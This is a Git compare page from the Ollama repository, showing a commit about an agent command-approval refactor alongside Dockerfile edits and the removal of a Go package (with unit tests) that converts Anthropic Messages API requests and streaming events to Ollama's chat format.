Compare commits

..

1 Commits

Author SHA1 Message Date
ParthSareen
233d5c5eda refactor(agent): implement three-tier approval system with warn patterns
- Remove git commands from auto-allowlist
- Add new warn patterns tier for commands requiring explicit approval
- Move network commands and env files from deny to warn
- Add IsWarn() and containsWord() helper functions
- Enhanced git prefix extraction for granular allowlisting
- Move credential path patterns to denyPathPatterns
- UI improvements: dynamic warning messages and allowlist info
- Update tests: add TestIsWarn(), adjust expectations
2026-01-09 00:10:10 -08:00
61 changed files with 543 additions and 9943 deletions

View File

@@ -13,7 +13,7 @@ body:
id: logs
attributes:
label: Relevant log output
description: Please copy and paste any relevant log output. See [Troubleshooting Guide](https://github.com/ollama/ollama/blob/main/docs/troubleshooting.mdx#how-to-troubleshoot-issues) for details.
description: Please copy and paste any relevant log output. See [Troubleshooting Guide](https://github.com/ollama/ollama/blob/main/docs/troubleshooting.md#how-to-troubleshoot-issues) for details.
render: shell
validations:
required: false

View File

@@ -161,6 +161,10 @@ ARG GOFLAGS="'-ldflags=-w -s'"
ENV CGO_ENABLED=1
ARG CGO_CFLAGS
ARG CGO_CXXFLAGS
# TODO wire up the actual MLX engine here instead of building the main binary...
RUN mkdir -p dist/bin
RUN go build -tags mlx -trimpath -buildmode=pie -o dist/bin/imagegen ./x/imagegen/cmd/engine
FROM base AS build
WORKDIR /go/src/github.com/ollama/ollama
@@ -182,6 +186,7 @@ COPY --from=cuda-12 dist/lib/ollama /lib/ollama/
COPY --from=cuda-13 dist/lib/ollama /lib/ollama/
COPY --from=vulkan dist/lib/ollama /lib/ollama/
COPY --from=mlx /go/src/github.com/ollama/ollama/dist/lib/ollama /lib/ollama/
COPY --from=mlx /go/src/github.com/ollama/ollama/dist/bin/ /bin/
FROM --platform=linux/arm64 scratch AS arm64
# COPY --from=cuda-11 dist/lib/ollama/ /lib/ollama/
@@ -200,7 +205,7 @@ COPY --from=build /bin/ollama /bin/ollama
FROM ubuntu:24.04
RUN apt-get update \
&& apt-get install -y ca-certificates libvulkan1 libopenblas0 \
&& apt-get install -y ca-certificates libvulkan1 \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*
COPY --from=archive /bin /usr/bin

View File

@@ -1,778 +0,0 @@
package anthropic
import (
"crypto/rand"
"encoding/base64"
"encoding/json"
"errors"
"fmt"
"log/slog"
"net/http"
"strings"
"time"
"github.com/ollama/ollama/api"
)
// Error types matching Anthropic API
type Error struct {
Type string `json:"type"`
Message string `json:"message"`
}
type ErrorResponse struct {
Type string `json:"type"` // always "error"
Error Error `json:"error"`
RequestID string `json:"request_id,omitempty"`
}
// NewError creates a new ErrorResponse with the appropriate error type based on HTTP status code
func NewError(code int, message string) ErrorResponse {
var etype string
switch code {
case http.StatusBadRequest:
etype = "invalid_request_error"
case http.StatusUnauthorized:
etype = "authentication_error"
case http.StatusForbidden:
etype = "permission_error"
case http.StatusNotFound:
etype = "not_found_error"
case http.StatusTooManyRequests:
etype = "rate_limit_error"
case http.StatusServiceUnavailable, 529:
etype = "overloaded_error"
default:
etype = "api_error"
}
return ErrorResponse{
Type: "error",
Error: Error{Type: etype, Message: message},
RequestID: generateID("req"),
}
}
// Request types
// MessagesRequest represents an Anthropic Messages API request
type MessagesRequest struct {
Model string `json:"model"`
MaxTokens int `json:"max_tokens"`
Messages []MessageParam `json:"messages"`
System any `json:"system,omitempty"` // string or []ContentBlock
Stream bool `json:"stream,omitempty"`
Temperature *float64 `json:"temperature,omitempty"`
TopP *float64 `json:"top_p,omitempty"`
TopK *int `json:"top_k,omitempty"`
StopSequences []string `json:"stop_sequences,omitempty"`
Tools []Tool `json:"tools,omitempty"`
ToolChoice *ToolChoice `json:"tool_choice,omitempty"`
Thinking *ThinkingConfig `json:"thinking,omitempty"`
Metadata *Metadata `json:"metadata,omitempty"`
}
// MessageParam represents a message in the request
type MessageParam struct {
Role string `json:"role"` // "user" or "assistant"
Content any `json:"content"` // string or []ContentBlock
}
// ContentBlock represents a content block in a message.
// Text and Thinking use pointers so they serialize as the field being present (even if empty)
// only when set, which is required for SDK streaming accumulation.
type ContentBlock struct {
Type string `json:"type"` // text, image, tool_use, tool_result, thinking
// For text blocks - pointer so field only appears when set (SDK requires it for accumulation)
Text *string `json:"text,omitempty"`
// For image blocks
Source *ImageSource `json:"source,omitempty"`
// For tool_use blocks
ID string `json:"id,omitempty"`
Name string `json:"name,omitempty"`
Input any `json:"input,omitempty"`
// For tool_result blocks
ToolUseID string `json:"tool_use_id,omitempty"`
Content any `json:"content,omitempty"` // string or []ContentBlock
IsError bool `json:"is_error,omitempty"`
// For thinking blocks - pointer so field only appears when set (SDK requires it for accumulation)
Thinking *string `json:"thinking,omitempty"`
Signature string `json:"signature,omitempty"`
}
// ImageSource represents the source of an image
type ImageSource struct {
Type string `json:"type"` // "base64" or "url"
MediaType string `json:"media_type,omitempty"`
Data string `json:"data,omitempty"`
URL string `json:"url,omitempty"`
}
// Tool represents a tool definition
type Tool struct {
Type string `json:"type,omitempty"` // "custom" for user-defined tools
Name string `json:"name"`
Description string `json:"description,omitempty"`
InputSchema json.RawMessage `json:"input_schema,omitempty"`
}
// ToolChoice controls how the model uses tools
type ToolChoice struct {
Type string `json:"type"` // "auto", "any", "tool", "none"
Name string `json:"name,omitempty"`
DisableParallelToolUse bool `json:"disable_parallel_tool_use,omitempty"`
}
// ThinkingConfig controls extended thinking
type ThinkingConfig struct {
Type string `json:"type"` // "enabled" or "disabled"
BudgetTokens int `json:"budget_tokens,omitempty"`
}
// Metadata for the request
type Metadata struct {
UserID string `json:"user_id,omitempty"`
}
// Response types
// MessagesResponse represents an Anthropic Messages API response
type MessagesResponse struct {
ID string `json:"id"`
Type string `json:"type"` // "message"
Role string `json:"role"` // "assistant"
Model string `json:"model"`
Content []ContentBlock `json:"content"`
StopReason string `json:"stop_reason,omitempty"`
StopSequence string `json:"stop_sequence,omitempty"`
Usage Usage `json:"usage"`
}
// Usage contains token usage information
type Usage struct {
InputTokens int `json:"input_tokens"`
OutputTokens int `json:"output_tokens"`
}
// Streaming event types
// MessageStartEvent is sent at the start of streaming
type MessageStartEvent struct {
Type string `json:"type"` // "message_start"
Message MessagesResponse `json:"message"`
}
// ContentBlockStartEvent signals the start of a content block
type ContentBlockStartEvent struct {
Type string `json:"type"` // "content_block_start"
Index int `json:"index"`
ContentBlock ContentBlock `json:"content_block"`
}
// ContentBlockDeltaEvent contains incremental content updates
type ContentBlockDeltaEvent struct {
Type string `json:"type"` // "content_block_delta"
Index int `json:"index"`
Delta Delta `json:"delta"`
}
// Delta represents an incremental update
type Delta struct {
Type string `json:"type"` // "text_delta", "input_json_delta", "thinking_delta", "signature_delta"
Text string `json:"text,omitempty"`
PartialJSON string `json:"partial_json,omitempty"`
Thinking string `json:"thinking,omitempty"`
Signature string `json:"signature,omitempty"`
}
// ContentBlockStopEvent signals the end of a content block
type ContentBlockStopEvent struct {
Type string `json:"type"` // "content_block_stop"
Index int `json:"index"`
}
// MessageDeltaEvent contains updates to the message
type MessageDeltaEvent struct {
Type string `json:"type"` // "message_delta"
Delta MessageDelta `json:"delta"`
Usage DeltaUsage `json:"usage"`
}
// MessageDelta contains stop information
type MessageDelta struct {
StopReason string `json:"stop_reason,omitempty"`
StopSequence string `json:"stop_sequence,omitempty"`
}
// DeltaUsage contains cumulative token usage
type DeltaUsage struct {
OutputTokens int `json:"output_tokens"`
}
// MessageStopEvent signals the end of the message
type MessageStopEvent struct {
Type string `json:"type"` // "message_stop"
}
// PingEvent is a keepalive event
type PingEvent struct {
Type string `json:"type"` // "ping"
}
// StreamErrorEvent is an error during streaming
type StreamErrorEvent struct {
Type string `json:"type"` // "error"
Error Error `json:"error"`
}
// FromMessagesRequest converts an Anthropic MessagesRequest to an Ollama api.ChatRequest
func FromMessagesRequest(r MessagesRequest) (*api.ChatRequest, error) {
var messages []api.Message
if r.System != nil {
switch sys := r.System.(type) {
case string:
if sys != "" {
messages = append(messages, api.Message{Role: "system", Content: sys})
}
case []any:
// System can be an array of content blocks
var content strings.Builder
for _, block := range sys {
if blockMap, ok := block.(map[string]any); ok {
if blockMap["type"] == "text" {
if text, ok := blockMap["text"].(string); ok {
content.WriteString(text)
}
}
}
}
if content.Len() > 0 {
messages = append(messages, api.Message{Role: "system", Content: content.String()})
}
}
}
for _, msg := range r.Messages {
converted, err := convertMessage(msg)
if err != nil {
return nil, err
}
messages = append(messages, converted...)
}
options := make(map[string]any)
options["num_predict"] = r.MaxTokens
if r.Temperature != nil {
options["temperature"] = *r.Temperature
}
if r.TopP != nil {
options["top_p"] = *r.TopP
}
if r.TopK != nil {
options["top_k"] = *r.TopK
}
if len(r.StopSequences) > 0 {
options["stop"] = r.StopSequences
}
var tools api.Tools
for _, t := range r.Tools {
tool, err := convertTool(t)
if err != nil {
return nil, err
}
tools = append(tools, tool)
}
var think *api.ThinkValue
if r.Thinking != nil && r.Thinking.Type == "enabled" {
think = &api.ThinkValue{Value: true}
}
stream := r.Stream
return &api.ChatRequest{
Model: r.Model,
Messages: messages,
Options: options,
Stream: &stream,
Tools: tools,
Think: think,
}, nil
}
// convertMessage converts an Anthropic MessageParam to Ollama api.Message(s)
func convertMessage(msg MessageParam) ([]api.Message, error) {
var messages []api.Message
role := strings.ToLower(msg.Role)
switch content := msg.Content.(type) {
case string:
messages = append(messages, api.Message{Role: role, Content: content})
case []any:
var textContent strings.Builder
var images []api.ImageData
var toolCalls []api.ToolCall
var thinking string
var toolResults []api.Message
for _, block := range content {
blockMap, ok := block.(map[string]any)
if !ok {
return nil, errors.New("invalid content block format")
}
blockType, _ := blockMap["type"].(string)
switch blockType {
case "text":
if text, ok := blockMap["text"].(string); ok {
textContent.WriteString(text)
}
case "image":
source, ok := blockMap["source"].(map[string]any)
if !ok {
return nil, errors.New("invalid image source")
}
sourceType, _ := source["type"].(string)
if sourceType == "base64" {
data, _ := source["data"].(string)
decoded, err := base64.StdEncoding.DecodeString(data)
if err != nil {
return nil, fmt.Errorf("invalid base64 image data: %w", err)
}
images = append(images, decoded)
} else {
return nil, fmt.Errorf("invalid image source type: %s. Only base64 images are supported.", sourceType)
}
// URL images would need to be fetched - skip for now
case "tool_use":
id, ok := blockMap["id"].(string)
if !ok {
return nil, errors.New("tool_use block missing required 'id' field")
}
name, ok := blockMap["name"].(string)
if !ok {
return nil, errors.New("tool_use block missing required 'name' field")
}
tc := api.ToolCall{
ID: id,
Function: api.ToolCallFunction{
Name: name,
},
}
if input, ok := blockMap["input"].(map[string]any); ok {
tc.Function.Arguments = mapToArgs(input)
}
toolCalls = append(toolCalls, tc)
case "tool_result":
toolUseID, _ := blockMap["tool_use_id"].(string)
var resultContent string
switch c := blockMap["content"].(type) {
case string:
resultContent = c
case []any:
for _, cb := range c {
if cbMap, ok := cb.(map[string]any); ok {
if cbMap["type"] == "text" {
if text, ok := cbMap["text"].(string); ok {
resultContent += text
}
}
}
}
}
toolResults = append(toolResults, api.Message{
Role: "tool",
Content: resultContent,
ToolCallID: toolUseID,
})
case "thinking":
if t, ok := blockMap["thinking"].(string); ok {
thinking = t
}
}
}
if textContent.Len() > 0 || len(images) > 0 || len(toolCalls) > 0 || thinking != "" {
m := api.Message{
Role: role,
Content: textContent.String(),
Images: images,
ToolCalls: toolCalls,
Thinking: thinking,
}
messages = append(messages, m)
}
// Add tool results as separate messages
messages = append(messages, toolResults...)
default:
return nil, fmt.Errorf("invalid message content type: %T", content)
}
return messages, nil
}
// convertTool converts an Anthropic Tool to an Ollama api.Tool
func convertTool(t Tool) (api.Tool, error) {
var params api.ToolFunctionParameters
if len(t.InputSchema) > 0 {
if err := json.Unmarshal(t.InputSchema, &params); err != nil {
return api.Tool{}, fmt.Errorf("invalid input_schema for tool %q: %w", t.Name, err)
}
}
return api.Tool{
Type: "function",
Function: api.ToolFunction{
Name: t.Name,
Description: t.Description,
Parameters: params,
},
}, nil
}
// ToMessagesResponse converts an Ollama api.ChatResponse to an Anthropic MessagesResponse
func ToMessagesResponse(id string, r api.ChatResponse) MessagesResponse {
var content []ContentBlock
if r.Message.Thinking != "" {
content = append(content, ContentBlock{
Type: "thinking",
Thinking: ptr(r.Message.Thinking),
})
}
if r.Message.Content != "" {
content = append(content, ContentBlock{
Type: "text",
Text: ptr(r.Message.Content),
})
}
for _, tc := range r.Message.ToolCalls {
content = append(content, ContentBlock{
Type: "tool_use",
ID: tc.ID,
Name: tc.Function.Name,
Input: tc.Function.Arguments,
})
}
stopReason := mapStopReason(r.DoneReason, len(r.Message.ToolCalls) > 0)
return MessagesResponse{
ID: id,
Type: "message",
Role: "assistant",
Model: r.Model,
Content: content,
StopReason: stopReason,
Usage: Usage{
InputTokens: r.Metrics.PromptEvalCount,
OutputTokens: r.Metrics.EvalCount,
},
}
}
// mapStopReason converts Ollama done_reason to Anthropic stop_reason
func mapStopReason(reason string, hasToolCalls bool) string {
if hasToolCalls {
return "tool_use"
}
switch reason {
case "stop":
return "end_turn"
case "length":
return "max_tokens"
default:
if reason != "" {
return "stop_sequence"
}
return ""
}
}
// StreamConverter manages state for converting Ollama streaming responses to Anthropic format
type StreamConverter struct {
ID string
Model string
firstWrite bool
contentIndex int
inputTokens int
outputTokens int
thinkingStarted bool
thinkingDone bool
textStarted bool
toolCallsSent map[string]bool
}
func NewStreamConverter(id, model string) *StreamConverter {
return &StreamConverter{
ID: id,
Model: model,
firstWrite: true,
toolCallsSent: make(map[string]bool),
}
}
// StreamEvent represents a streaming event to be sent to the client
type StreamEvent struct {
Event string
Data any
}
// Process converts an Ollama ChatResponse to Anthropic streaming events
func (c *StreamConverter) Process(r api.ChatResponse) []StreamEvent {
var events []StreamEvent
if c.firstWrite {
c.firstWrite = false
c.inputTokens = r.Metrics.PromptEvalCount
events = append(events, StreamEvent{
Event: "message_start",
Data: MessageStartEvent{
Type: "message_start",
Message: MessagesResponse{
ID: c.ID,
Type: "message",
Role: "assistant",
Model: c.Model,
Content: []ContentBlock{},
Usage: Usage{
InputTokens: c.inputTokens,
OutputTokens: 0,
},
},
},
})
}
if r.Message.Thinking != "" && !c.thinkingDone {
if !c.thinkingStarted {
c.thinkingStarted = true
events = append(events, StreamEvent{
Event: "content_block_start",
Data: ContentBlockStartEvent{
Type: "content_block_start",
Index: c.contentIndex,
ContentBlock: ContentBlock{
Type: "thinking",
Thinking: ptr(""),
},
},
})
}
events = append(events, StreamEvent{
Event: "content_block_delta",
Data: ContentBlockDeltaEvent{
Type: "content_block_delta",
Index: c.contentIndex,
Delta: Delta{
Type: "thinking_delta",
Thinking: r.Message.Thinking,
},
},
})
}
if r.Message.Content != "" {
if c.thinkingStarted && !c.thinkingDone {
c.thinkingDone = true
events = append(events, StreamEvent{
Event: "content_block_stop",
Data: ContentBlockStopEvent{
Type: "content_block_stop",
Index: c.contentIndex,
},
})
c.contentIndex++
}
if !c.textStarted {
c.textStarted = true
events = append(events, StreamEvent{
Event: "content_block_start",
Data: ContentBlockStartEvent{
Type: "content_block_start",
Index: c.contentIndex,
ContentBlock: ContentBlock{
Type: "text",
Text: ptr(""),
},
},
})
}
events = append(events, StreamEvent{
Event: "content_block_delta",
Data: ContentBlockDeltaEvent{
Type: "content_block_delta",
Index: c.contentIndex,
Delta: Delta{
Type: "text_delta",
Text: r.Message.Content,
},
},
})
}
for _, tc := range r.Message.ToolCalls {
if c.toolCallsSent[tc.ID] {
continue
}
if c.textStarted {
events = append(events, StreamEvent{
Event: "content_block_stop",
Data: ContentBlockStopEvent{
Type: "content_block_stop",
Index: c.contentIndex,
},
})
c.contentIndex++
c.textStarted = false
}
argsJSON, err := json.Marshal(tc.Function.Arguments)
if err != nil {
slog.Error("failed to marshal tool arguments", "error", err, "tool_id", tc.ID)
continue
}
events = append(events, StreamEvent{
Event: "content_block_start",
Data: ContentBlockStartEvent{
Type: "content_block_start",
Index: c.contentIndex,
ContentBlock: ContentBlock{
Type: "tool_use",
ID: tc.ID,
Name: tc.Function.Name,
Input: map[string]any{},
},
},
})
events = append(events, StreamEvent{
Event: "content_block_delta",
Data: ContentBlockDeltaEvent{
Type: "content_block_delta",
Index: c.contentIndex,
Delta: Delta{
Type: "input_json_delta",
PartialJSON: string(argsJSON),
},
},
})
events = append(events, StreamEvent{
Event: "content_block_stop",
Data: ContentBlockStopEvent{
Type: "content_block_stop",
Index: c.contentIndex,
},
})
c.toolCallsSent[tc.ID] = true
c.contentIndex++
}
if r.Done {
if c.textStarted {
events = append(events, StreamEvent{
Event: "content_block_stop",
Data: ContentBlockStopEvent{
Type: "content_block_stop",
Index: c.contentIndex,
},
})
} else if c.thinkingStarted && !c.thinkingDone {
events = append(events, StreamEvent{
Event: "content_block_stop",
Data: ContentBlockStopEvent{
Type: "content_block_stop",
Index: c.contentIndex,
},
})
}
c.outputTokens = r.Metrics.EvalCount
stopReason := mapStopReason(r.DoneReason, len(c.toolCallsSent) > 0)
events = append(events, StreamEvent{
Event: "message_delta",
Data: MessageDeltaEvent{
Type: "message_delta",
Delta: MessageDelta{
StopReason: stopReason,
},
Usage: DeltaUsage{
OutputTokens: c.outputTokens,
},
},
})
events = append(events, StreamEvent{
Event: "message_stop",
Data: MessageStopEvent{
Type: "message_stop",
},
})
}
return events
}
// generateID generates a unique ID with the given prefix using crypto/rand
func generateID(prefix string) string {
b := make([]byte, 12)
if _, err := rand.Read(b); err != nil {
// Fallback to time-based ID if crypto/rand fails
return fmt.Sprintf("%s_%d", prefix, time.Now().UnixNano())
}
return fmt.Sprintf("%s_%x", prefix, b)
}
// GenerateMessageID generates a unique message ID
func GenerateMessageID() string {
return generateID("msg")
}
// ptr returns a pointer to the given string value
func ptr(s string) *string {
return &s
}
// mapToArgs converts a map to ToolCallFunctionArguments
func mapToArgs(m map[string]any) api.ToolCallFunctionArguments {
args := api.NewToolCallFunctionArguments()
for k, v := range m {
args.Set(k, v)
}
return args
}

View File

@@ -1,953 +0,0 @@
package anthropic
import (
"encoding/base64"
"encoding/json"
"testing"
"github.com/google/go-cmp/cmp"
"github.com/ollama/ollama/api"
)
const (
testImage = `iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+A8AAQUBAScY42YAAAAASUVORK5CYII=`
)
// testArgs creates ToolCallFunctionArguments from a map (convenience function for tests)
func testArgs(m map[string]any) api.ToolCallFunctionArguments {
args := api.NewToolCallFunctionArguments()
for k, v := range m {
args.Set(k, v)
}
return args
}
func TestFromMessagesRequest_Basic(t *testing.T) {
req := MessagesRequest{
Model: "test-model",
MaxTokens: 1024,
Messages: []MessageParam{
{Role: "user", Content: "Hello"},
},
}
result, err := FromMessagesRequest(req)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result.Model != "test-model" {
t.Errorf("expected model 'test-model', got %q", result.Model)
}
if len(result.Messages) != 1 {
t.Fatalf("expected 1 message, got %d", len(result.Messages))
}
if result.Messages[0].Role != "user" || result.Messages[0].Content != "Hello" {
t.Errorf("unexpected message: %+v", result.Messages[0])
}
if numPredict, ok := result.Options["num_predict"].(int); !ok || numPredict != 1024 {
t.Errorf("expected num_predict 1024, got %v", result.Options["num_predict"])
}
}
func TestFromMessagesRequest_WithSystemPrompt(t *testing.T) {
req := MessagesRequest{
Model: "test-model",
MaxTokens: 1024,
System: "You are a helpful assistant.",
Messages: []MessageParam{
{Role: "user", Content: "Hello"},
},
}
result, err := FromMessagesRequest(req)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if len(result.Messages) != 2 {
t.Fatalf("expected 2 messages, got %d", len(result.Messages))
}
if result.Messages[0].Role != "system" || result.Messages[0].Content != "You are a helpful assistant." {
t.Errorf("unexpected system message: %+v", result.Messages[0])
}
}
func TestFromMessagesRequest_WithSystemPromptArray(t *testing.T) {
req := MessagesRequest{
Model: "test-model",
MaxTokens: 1024,
System: []any{
map[string]any{"type": "text", "text": "You are helpful."},
map[string]any{"type": "text", "text": " Be concise."},
},
Messages: []MessageParam{
{Role: "user", Content: "Hello"},
},
}
result, err := FromMessagesRequest(req)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if len(result.Messages) != 2 {
t.Fatalf("expected 2 messages, got %d", len(result.Messages))
}
if result.Messages[0].Content != "You are helpful. Be concise." {
t.Errorf("unexpected system message content: %q", result.Messages[0].Content)
}
}
func TestFromMessagesRequest_WithOptions(t *testing.T) {
temp := 0.7
topP := 0.9
topK := 40
req := MessagesRequest{
Model: "test-model",
MaxTokens: 2048,
Messages: []MessageParam{{Role: "user", Content: "Hello"}},
Temperature: &temp,
TopP: &topP,
TopK: &topK,
StopSequences: []string{"\n", "END"},
}
result, err := FromMessagesRequest(req)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result.Options["temperature"] != 0.7 {
t.Errorf("expected temperature 0.7, got %v", result.Options["temperature"])
}
if result.Options["top_p"] != 0.9 {
t.Errorf("expected top_p 0.9, got %v", result.Options["top_p"])
}
if result.Options["top_k"] != 40 {
t.Errorf("expected top_k 40, got %v", result.Options["top_k"])
}
if diff := cmp.Diff([]string{"\n", "END"}, result.Options["stop"]); diff != "" {
t.Errorf("stop sequences mismatch: %s", diff)
}
}
func TestFromMessagesRequest_WithImage(t *testing.T) {
imgData, _ := base64.StdEncoding.DecodeString(testImage)
req := MessagesRequest{
Model: "test-model",
MaxTokens: 1024,
Messages: []MessageParam{
{
Role: "user",
Content: []any{
map[string]any{"type": "text", "text": "What's in this image?"},
map[string]any{
"type": "image",
"source": map[string]any{
"type": "base64",
"media_type": "image/png",
"data": testImage,
},
},
},
},
},
}
result, err := FromMessagesRequest(req)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if len(result.Messages) != 1 {
t.Fatalf("expected 1 message, got %d", len(result.Messages))
}
if result.Messages[0].Content != "What's in this image?" {
t.Errorf("expected content 'What's in this image?', got %q", result.Messages[0].Content)
}
if len(result.Messages[0].Images) != 1 {
t.Fatalf("expected 1 image, got %d", len(result.Messages[0].Images))
}
if string(result.Messages[0].Images[0]) != string(imgData) {
t.Error("image data mismatch")
}
}
func TestFromMessagesRequest_WithToolUse(t *testing.T) {
req := MessagesRequest{
Model: "test-model",
MaxTokens: 1024,
Messages: []MessageParam{
{Role: "user", Content: "What's the weather in Paris?"},
{
Role: "assistant",
Content: []any{
map[string]any{
"type": "tool_use",
"id": "call_123",
"name": "get_weather",
"input": map[string]any{"location": "Paris"},
},
},
},
},
}
result, err := FromMessagesRequest(req)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if len(result.Messages) != 2 {
t.Fatalf("expected 2 messages, got %d", len(result.Messages))
}
if len(result.Messages[1].ToolCalls) != 1 {
t.Fatalf("expected 1 tool call, got %d", len(result.Messages[1].ToolCalls))
}
tc := result.Messages[1].ToolCalls[0]
if tc.ID != "call_123" {
t.Errorf("expected tool call ID 'call_123', got %q", tc.ID)
}
if tc.Function.Name != "get_weather" {
t.Errorf("expected tool name 'get_weather', got %q", tc.Function.Name)
}
}
func TestFromMessagesRequest_WithToolResult(t *testing.T) {
req := MessagesRequest{
Model: "test-model",
MaxTokens: 1024,
Messages: []MessageParam{
{
Role: "user",
Content: []any{
map[string]any{
"type": "tool_result",
"tool_use_id": "call_123",
"content": "The weather in Paris is sunny, 22°C",
},
},
},
},
}
result, err := FromMessagesRequest(req)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if len(result.Messages) != 1 {
t.Fatalf("expected 1 message, got %d", len(result.Messages))
}
msg := result.Messages[0]
if msg.Role != "tool" {
t.Errorf("expected role 'tool', got %q", msg.Role)
}
if msg.ToolCallID != "call_123" {
t.Errorf("expected tool_call_id 'call_123', got %q", msg.ToolCallID)
}
if msg.Content != "The weather in Paris is sunny, 22°C" {
t.Errorf("unexpected content: %q", msg.Content)
}
}
func TestFromMessagesRequest_WithTools(t *testing.T) {
req := MessagesRequest{
Model: "test-model",
MaxTokens: 1024,
Messages: []MessageParam{{Role: "user", Content: "Hello"}},
Tools: []Tool{
{
Name: "get_weather",
Description: "Get current weather",
InputSchema: json.RawMessage(`{"type":"object","properties":{"location":{"type":"string"}},"required":["location"]}`),
},
},
}
result, err := FromMessagesRequest(req)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if len(result.Tools) != 1 {
t.Fatalf("expected 1 tool, got %d", len(result.Tools))
}
tool := result.Tools[0]
if tool.Type != "function" {
t.Errorf("expected type 'function', got %q", tool.Type)
}
if tool.Function.Name != "get_weather" {
t.Errorf("expected name 'get_weather', got %q", tool.Function.Name)
}
if tool.Function.Description != "Get current weather" {
t.Errorf("expected description 'Get current weather', got %q", tool.Function.Description)
}
}
func TestFromMessagesRequest_WithThinking(t *testing.T) {
req := MessagesRequest{
Model: "test-model",
MaxTokens: 1024,
Messages: []MessageParam{{Role: "user", Content: "Hello"}},
Thinking: &ThinkingConfig{Type: "enabled", BudgetTokens: 1000},
}
result, err := FromMessagesRequest(req)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result.Think == nil {
t.Fatal("expected Think to be set")
}
if v, ok := result.Think.Value.(bool); !ok || !v {
t.Errorf("expected Think.Value to be true, got %v", result.Think.Value)
}
}
// TestFromMessagesRequest_ThinkingOnlyBlock verifies that messages containing only
// a thinking block (no text, images, or tool calls) are preserved and not dropped.
func TestFromMessagesRequest_ThinkingOnlyBlock(t *testing.T) {
req := MessagesRequest{
Model: "test-model",
MaxTokens: 1024,
Messages: []MessageParam{
{Role: "user", Content: "Hello"},
{
Role: "assistant",
Content: []any{
map[string]any{
"type": "thinking",
"thinking": "Let me think about this...",
},
},
},
},
}
result, err := FromMessagesRequest(req)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if len(result.Messages) != 2 {
t.Fatalf("expected 2 messages, got %d", len(result.Messages))
}
assistantMsg := result.Messages[1]
if assistantMsg.Thinking != "Let me think about this..." {
t.Errorf("expected thinking content, got %q", assistantMsg.Thinking)
}
}
func TestFromMessagesRequest_ToolUseMissingID(t *testing.T) {
req := MessagesRequest{
Model: "test-model",
MaxTokens: 1024,
Messages: []MessageParam{
{
Role: "assistant",
Content: []any{
map[string]any{
"type": "tool_use",
"name": "get_weather",
},
},
},
},
}
_, err := FromMessagesRequest(req)
if err == nil {
t.Fatal("expected error for missing tool_use id")
}
if err.Error() != "tool_use block missing required 'id' field" {
t.Errorf("unexpected error message: %v", err)
}
}
func TestFromMessagesRequest_ToolUseMissingName(t *testing.T) {
req := MessagesRequest{
Model: "test-model",
MaxTokens: 1024,
Messages: []MessageParam{
{
Role: "assistant",
Content: []any{
map[string]any{
"type": "tool_use",
"id": "call_123",
},
},
},
},
}
_, err := FromMessagesRequest(req)
if err == nil {
t.Fatal("expected error for missing tool_use name")
}
if err.Error() != "tool_use block missing required 'name' field" {
t.Errorf("unexpected error message: %v", err)
}
}
func TestFromMessagesRequest_InvalidToolSchema(t *testing.T) {
req := MessagesRequest{
Model: "test-model",
MaxTokens: 1024,
Messages: []MessageParam{{Role: "user", Content: "Hello"}},
Tools: []Tool{
{
Name: "bad_tool",
InputSchema: json.RawMessage(`{invalid json`),
},
},
}
_, err := FromMessagesRequest(req)
if err == nil {
t.Fatal("expected error for invalid tool schema")
}
}
func TestToMessagesResponse_Basic(t *testing.T) {
resp := api.ChatResponse{
Model: "test-model",
Message: api.Message{
Role: "assistant",
Content: "Hello there!",
},
Done: true,
DoneReason: "stop",
Metrics: api.Metrics{
PromptEvalCount: 10,
EvalCount: 5,
},
}
result := ToMessagesResponse("msg_123", resp)
if result.ID != "msg_123" {
t.Errorf("expected ID 'msg_123', got %q", result.ID)
}
if result.Type != "message" {
t.Errorf("expected type 'message', got %q", result.Type)
}
if result.Role != "assistant" {
t.Errorf("expected role 'assistant', got %q", result.Role)
}
if len(result.Content) != 1 {
t.Fatalf("expected 1 content block, got %d", len(result.Content))
}
if result.Content[0].Type != "text" || result.Content[0].Text == nil || *result.Content[0].Text != "Hello there!" {
t.Errorf("unexpected content: %+v", result.Content[0])
}
if result.StopReason != "end_turn" {
t.Errorf("expected stop_reason 'end_turn', got %q", result.StopReason)
}
if result.Usage.InputTokens != 10 || result.Usage.OutputTokens != 5 {
t.Errorf("unexpected usage: %+v", result.Usage)
}
}
func TestToMessagesResponse_WithToolCalls(t *testing.T) {
resp := api.ChatResponse{
Model: "test-model",
Message: api.Message{
Role: "assistant",
ToolCalls: []api.ToolCall{
{
ID: "call_123",
Function: api.ToolCallFunction{
Name: "get_weather",
Arguments: testArgs(map[string]any{"location": "Paris"}),
},
},
},
},
Done: true,
DoneReason: "stop",
}
result := ToMessagesResponse("msg_123", resp)
if len(result.Content) != 1 {
t.Fatalf("expected 1 content block, got %d", len(result.Content))
}
if result.Content[0].Type != "tool_use" {
t.Errorf("expected type 'tool_use', got %q", result.Content[0].Type)
}
if result.Content[0].ID != "call_123" {
t.Errorf("expected ID 'call_123', got %q", result.Content[0].ID)
}
if result.Content[0].Name != "get_weather" {
t.Errorf("expected name 'get_weather', got %q", result.Content[0].Name)
}
if result.StopReason != "tool_use" {
t.Errorf("expected stop_reason 'tool_use', got %q", result.StopReason)
}
}
func TestToMessagesResponse_WithThinking(t *testing.T) {
resp := api.ChatResponse{
Model: "test-model",
Message: api.Message{
Role: "assistant",
Content: "The answer is 42.",
Thinking: "Let me think about this...",
},
Done: true,
DoneReason: "stop",
}
result := ToMessagesResponse("msg_123", resp)
if len(result.Content) != 2 {
t.Fatalf("expected 2 content blocks, got %d", len(result.Content))
}
if result.Content[0].Type != "thinking" {
t.Errorf("expected first block type 'thinking', got %q", result.Content[0].Type)
}
if result.Content[0].Thinking == nil || *result.Content[0].Thinking != "Let me think about this..." {
t.Errorf("unexpected thinking content: %v", result.Content[0].Thinking)
}
if result.Content[1].Type != "text" {
t.Errorf("expected second block type 'text', got %q", result.Content[1].Type)
}
